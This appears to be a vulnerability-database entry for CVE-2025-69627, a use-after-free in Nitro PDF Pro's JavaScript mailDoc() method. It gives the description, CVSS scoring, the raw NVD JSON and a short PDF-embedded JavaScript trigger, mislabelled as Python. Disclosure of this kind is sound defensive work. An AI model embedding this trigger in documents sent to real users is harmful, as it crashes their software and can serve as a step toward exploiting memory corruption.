Security Vulnerability Report
中文
CVE-2025-69627 CVSS 8.4 HIGH

CVE-2025-69627

Published: 2026-04-13 16:16:25
Last Modified: 2026-04-23 13:33:43

Description

Nitro PDF Pro for Windows 14.41.1.4 contains a heap use-after-free vulnerability in the implementation of the JavaScript method this.mailDoc(). During execution, an internal XID object is allocated and then freed prematurely, after which the freed pointer is still passed into UI and logging helper functions. Because the freed memory region may contain unpredictable heap data or remnants of attacker-controlled JavaScript strings, downstream routines such as wcscmp() may process invalid or stale pointers. This can result in access violations and non-deterministic crashes.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gonitro:nitro_pdf_pro:14.41.1.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Nitro PDF Pro for Windows 14.41.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-69627 // Trigger the use-after-free vulnerability in Nitro PDF Pro // by calling the vulnerable this.mailDoc() method. // This script should be embedded in a PDF document and opened with Nitro PDF Pro. try { app.alert("Attempting to trigger CVE-2025-69627..."); // The vulnerability occurs in the implementation of this.mailDoc() // where an internal XID object is freed prematurely. this.mailDoc({ bUI: true, cTo: "[email protected]", cSubject: "CVE-2025-69627 Test", cMsg: "Testing UAF in mailDoc implementation" }); } catch (e) { console.println("Exception caught: " + e); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69627", "sourceIdentifier": "[email protected]", "published": "2026-04-13T16:16:24.867", "lastModified": "2026-04-23T13:33:42.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nitro PDF Pro for Windows 14.41.1.4 contains a heap use-after-free vulnerability in the implementation of the JavaScript method this.mailDoc(). During execution, an internal XID object is allocated and then freed prematurely, after which the freed pointer is still passed into UI and logging helper functions. Because the freed memory region may contain unpredictable heap data or remnants of attacker-controlled JavaScript strings, downstream routines such as wcscmp() may process invalid or stale pointers. This can result in access violations and non-deterministic crashes."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gonitro:nitro_pdf_pro:14.41.1.4:*:*:*:*:*:*:*", "matchCriteriaId": "F7223A11-A180-47D4-AD94-7C184636BDC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "http://nitro.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://jeroscope.com/advisories/2025/jero-2025-016/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}